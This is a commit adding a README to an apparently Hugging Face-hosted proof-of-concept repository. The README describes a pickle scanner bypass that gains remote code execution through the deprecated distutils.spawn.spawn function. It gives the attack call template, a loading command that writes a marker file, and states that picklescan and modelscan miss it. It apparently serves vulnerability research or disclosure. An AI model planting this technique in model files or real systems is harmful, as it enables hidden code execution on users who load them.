Upload README.md with huggingface_hub
Browse files
README.md
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
tags:
|
| 3 |
+
- pickle
|
| 4 |
+
- scanner-bypass
|
| 5 |
+
- distutils
|
| 6 |
+
- rce
|
| 7 |
+
---
|
| 8 |
+
|
| 9 |
+
# Pickle Scanner Bypass — distutils.spawn.spawn
|
| 10 |
+
|
| 11 |
+
**RCE via deprecated stdlib `distutils.spawn.spawn()`**
|
| 12 |
+
|
| 13 |
+
Bypasses both picklescan v1.0.4 and modelscan v0.8.8.
|
| 14 |
+
|
| 15 |
+
The deprecated `distutils.spawn.spawn()` function internally calls `subprocess.Popen(cmd).wait()`, executing arbitrary commands. Neither scanner includes `distutils.spawn` in their unsafe modules list.
|
| 16 |
+
|
| 17 |
+
## Usage
|
| 18 |
+
|
| 19 |
+
```bash
|
| 20 |
+
python3 -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))"
|
| 21 |
+
# /tmp/MFV_PWNED will be created
|
| 22 |
+
```
|
| 23 |
+
|
| 24 |
+
## Technical Details
|
| 25 |
+
|
| 26 |
+
- Module: `distutils.spawn` (stdlib, deprecated since Python 3.10, removed in 3.12)
|
| 27 |
+
- Function: `distutils.spawn.spawn()`
|
| 28 |
+
- Attack: `distutils.spawn.spawn(['bash', '-c', 'your_command_here'])`
|
| 29 |
+
- Detection: picklescan v1.0.4: ❌ | modelscan v0.8.8: ❌
|
| 30 |
+
|
| 31 |
+
`distutils.spawn` is distinct from `distutils.file_util` (which is in picklescan's blocklist).
|